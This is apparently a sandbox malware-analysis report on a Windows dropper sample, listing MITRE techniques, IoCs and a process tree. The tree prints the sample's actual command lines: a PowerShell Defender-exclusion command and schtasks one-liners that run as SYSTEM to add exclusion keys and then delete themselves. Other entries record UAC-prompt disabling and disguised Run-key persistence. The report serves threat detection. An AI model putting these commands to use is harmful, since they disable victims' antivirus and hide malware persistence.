948bdce1ccc9de297c31645b7d4d2675809c9cdc6597fc565512e3f9b78a9092

Analysis

max time kernel
137s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/10/2026, 09:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
Size 38.9MB
Sample261030-k6cemaxxbs
SHA256 948bdce1ccc9de297c31645b7d4d2675809c9cdc6597fc565512e3f9b78a9092
MD5 1c16d282e9cacb15d2386bc9e2466f2d
SHA1 7ecfc359f77d34115b27fcebc475045f5aae3332
SHA512 1a421173ebca10e010edbe54cb3c3a8f22da60768a7bda8f1eaeff24a4f51a1df12577f634ef9671302f6670b14379db535171017714ce9c2932fb118008152a
SSDEEP 49152:qPnycXVTyTyg5tJyNZ/W/hNbo1iTl8ZFPnMBwbePbgF+VS5sb5m+cZ2lyn0wgsXz:q6chqTShW/hNbSiQfMJPLmrUlsz
TLSH
T1A697D69FBF81DE82F957D23498A75B602336D9B40BF1C307125427206F9F2998EE25D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	f87okC.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral2/memory/4060-727-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 8 IoCs

resource	yara_rule
behavioral2/memory/4060-681-0x00000000039D0000-0x00000000041AD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4060-685-0x00000000039D0000-0x00000000041AD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4060-732-0x00000000039D0000-0x00000000041AD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4060-706-0x00000000039D0000-0x00000000041AD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4144-741-0x0000000002E10000-0x00000000035ED000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4776-746-0x00000000032A0000-0x0000000003A7D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4060-762-0x00000000039D0000-0x00000000041AD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3420-782-0x0000000003510000-0x0000000003CED000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1228	powershell.exe
5008	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	f87okC.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
3676	icacls.exe
5820	icacls.exe
5044	icacls.exe
2004	takeown.exe
1968	icacls.exe
4940	icacls.exe
2960	icacls.exe
5716	takeown.exe
1340	icacls.exe
4840	icacls.exe
4704	icacls.exe
1636	icacls.exe
6096	icacls.exe
3792	icacls.exe
3640	icacls.exe
3852	icacls.exe
3428	icacls.exe
4348	icacls.exe
5784	icacls.exe
1220	icacls.exe
2132	icacls.exe
2540	icacls.exe
1152	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
5100	srp2bE.exe
1444	srp2bE.exe
4060	f87okC.exe
4776	f87okC.exe
4144	f87okC.exe
3420	6s79Hx.exe

Loads dropped DLL 6 IoCs

pid	Process
5100	srp2bE.exe
1444	srp2bE.exe
4060	f87okC.exe
4776	f87okC.exe
4144	f87okC.exe
3420	6s79Hx.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3852	icacls.exe
2960	icacls.exe
3428	icacls.exe
3676	icacls.exe
1636	icacls.exe
5716	takeown.exe
5044	icacls.exe
5784	icacls.exe
1968	icacls.exe
1220	icacls.exe
2004	takeown.exe
2132	icacls.exe
4840	icacls.exe
6096	icacls.exe
1152	icacls.exe
4940	icacls.exe
1340	icacls.exe
2540	icacls.exe
3792	icacls.exe
4704	icacls.exe
4348	icacls.exe
5820	icacls.exe
3640	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\Nzs9QA\\srp2bE.exe\""	srp2bE.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\zi1qvK\\f87okC.exe\""	f87okC.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
800	cmd.exe
1056	cmd.exe
6024	cmd.exe
3076	cmd.exe
3368	cmd.exe
5648	cmd.exe
700	cmd.exe
2196	cmd.exe
4064	cmd.exe
4472	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	srp2bE.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\95u2Iz\6s79Hx.exe	f87okC.exe
File opened for modification	C:\Program Files (x86)\95u2Iz\thumbs.db	f87okC.exe
File opened for modification	C:\Program Files (x86)\95u2Iz\XPSPLOG.dll	f87okC.exe
File opened for modification	C:\Program Files (x86)\zi1qvK	srp2bE.exe
File created	C:\Program Files (x86)\zi1qvK\f87okC.exe	srp2bE.exe
File created	C:\Program Files (x86)\zi1qvK\image.png	srp2bE.exe
File opened for modification	C:\Program Files (x86)\zi1qvK\f87okC.exe	srp2bE.exe
File opened for modification	C:\Program Files (x86)\zi1qvK\XPSPLOG.dll	srp2bE.exe
File opened for modification	C:\Program Files (x86)\zi1qvK\thumbs.db	srp2bE.exe
File opened for modification	C:\Program Files (x86)\95u2Iz\6s79Hx.exe	f87okC.exe
File created	C:\Program Files (x86)\95u2Iz\image.png	f87okC.exe
File created	C:\Program Files (x86)\zi1qvK\XPSPLOG.dll	srp2bE.exe
File opened for modification	C:\Program Files (x86)\zi1qvK\image.png	srp2bE.exe
File opened for modification	C:\Program Files (x86)\95u2Iz	f87okC.exe
File created	C:\Program Files (x86)\95u2Iz\thumbs.db	f87okC.exe
File opened for modification	C:\Program Files (x86)\95u2Iz\image.png	f87okC.exe
File created	C:\Program Files (x86)\95u2Iz\XPSPLOG.dll	f87okC.exe
File created	C:\Program Files (x86)\zi1qvK\thumbs.db	srp2bE.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2656	sc.exe
3356	sc.exe
5048	sc.exe
5368	sc.exe
1500	sc.exe
4228	sc.exe
4536	sc.exe
2964	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\ScreenSaveActive = "0"	f87okC.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	f87okC.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\SCRNSAVE.EXE	f87okC.exe

Executes a command shell one-liner 1 TTPs 27 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4068	cmd.exe
1528	cmd.exe
3644	cmd.exe
3904	cmd.exe
1800	cmd.exe
3396	cmd.exe
2776	cmd.exe
708	cmd.exe
4112	cmd.exe
6028	cmd.exe
5640	cmd.exe
3016	cmd.exe
4904	cmd.exe
4396	cmd.exe
2248	cmd.exe
1348	cmd.exe
4908	cmd.exe
2676	cmd.exe
4792	cmd.exe
5244	cmd.exe
3720	cmd.exe
1720	cmd.exe
4216	cmd.exe
4336	cmd.exe
3172	cmd.exe
2904	cmd.exe
2204	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	srp2bE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	srp2bE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	f87okC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	f87okC.exe

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f87okC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f87okC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f87okC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6s79Hx.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	f87okC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	f87okC.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	f87okC.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	f87okC.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\SCRNSAVE.EXE	f87okC.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\ScreenSaveActive = "0"	f87okC.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4196	schtasks.exe
4100	schtasks.exe
2764	schtasks.exe
5760	schtasks.exe
2120	schtasks.exe
1480	schtasks.exe
5740	schtasks.exe
3312	schtasks.exe
1508	schtasks.exe
4092	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
3228	2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe
5100	srp2bE.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	5008	powershell.exe
Token: SeIncreaseQuotaPrivilege	5008	powershell.exe
Token: SeSecurityPrivilege	5008	powershell.exe
Token: SeTakeOwnershipPrivilege	5008	powershell.exe
Token: SeLoadDriverPrivilege	5008	powershell.exe
Token: SeSystemProfilePrivilege	5008	powershell.exe
Token: SeSystemtimePrivilege	5008	powershell.exe
Token: SeProfSingleProcessPrivilege	5008	powershell.exe
Token: SeIncBasePriorityPrivilege	5008	powershell.exe
Token: SeCreatePagefilePrivilege	5008	powershell.exe
Token: SeBackupPrivilege	5008	powershell.exe
Token: SeRestorePrivilege	5008	powershell.exe
Token: SeShutdownPrivilege	5008	powershell.exe
Token: SeDebugPrivilege	5008	powershell.exe
Token: SeSystemEnvironmentPrivilege	5008	powershell.exe
Token: SeRemoteShutdownPrivilege	5008	powershell.exe
Token: SeUndockPrivilege	5008	powershell.exe
Token: SeManageVolumePrivilege	5008	powershell.exe
Token: 33	5008	powershell.exe
Token: 34	5008	powershell.exe
Token: 35	5008	powershell.exe
Token: 36	5008	powershell.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 5100 wrote to memory of 5008	5100	srp2bE.exe	90
PID 5100 wrote to memory of 800	5100	srp2bE.exe	92
PID 5100 wrote to memory of 700	5100	srp2bE.exe	95
PID 800 wrote to memory of 4100	800	cmd.exe	98
PID 700 wrote to memory of 2764	700	cmd.exe	99
PID 800 wrote to memory of 4500	800	cmd.exe	100
PID 5100 wrote to memory of 2196	5100	srp2bE.exe	103
PID 700 wrote to memory of 5580	700	cmd.exe	105
PID 800 wrote to memory of 1272	800	cmd.exe	106
PID 5100 wrote to memory of 4064	5100	srp2bE.exe	108
PID 2196 wrote to memory of 5740	2196	cmd.exe	109
PID 700 wrote to memory of 720	700	cmd.exe	111
PID 4064 wrote to memory of 3312	4064	cmd.exe	112
PID 2196 wrote to memory of 2964	2196	cmd.exe	113
PID 4064 wrote to memory of 4368	4064	cmd.exe	115
PID 2196 wrote to memory of 1596	2196	cmd.exe	116
PID 5100 wrote to memory of 1056	5100	srp2bE.exe	117
PID 4064 wrote to memory of 3624	4064	cmd.exe	119
PID 1056 wrote to memory of 5760	1056	cmd.exe	120
PID 1056 wrote to memory of 2728	1056	cmd.exe	121
PID 1056 wrote to memory of 1220	1056	cmd.exe	126
PID 2248 wrote to memory of 2968	2248	cmd.exe	127
PID 4336 wrote to memory of 5948	4336	cmd.exe	128
PID 4396 wrote to memory of 3852	4396	cmd.exe	129
PID 5100 wrote to memory of 4060	5100	srp2bE.exe	131
PID 4060 wrote to memory of 3904	4060	f87okC.exe	137
PID 4060 wrote to memory of 1800	4060	f87okC.exe	135
PID 4060 wrote to memory of 1348	4060	f87okC.exe	140
PID 4060 wrote to memory of 4908	4060	f87okC.exe	142
PID 3904 wrote to memory of 1968	3904	cmd.exe	143
PID 4060 wrote to memory of 3644	4060	f87okC.exe	145
PID 4060 wrote to memory of 4112	4060	f87okC.exe	147
PID 4060 wrote to memory of 3076	4060	f87okC.exe	148
PID 3644 wrote to memory of 4840	3644	cmd.exe	248
PID 3076 wrote to memory of 1508	3076	cmd.exe	152
PID 4112 wrote to memory of 4568	4112	cmd.exe	153

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	f87okC.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3228

C:\Users\Public\Nzs9QA\srp2bE.exe
"C:\Users\Public\Nzs9QA\srp2bE.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Nzs9QA\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:800
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Nzs9QA\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4500
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:700
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5580
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5740
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2964
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4064
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3312
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4368
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\system32\schtasks.exe
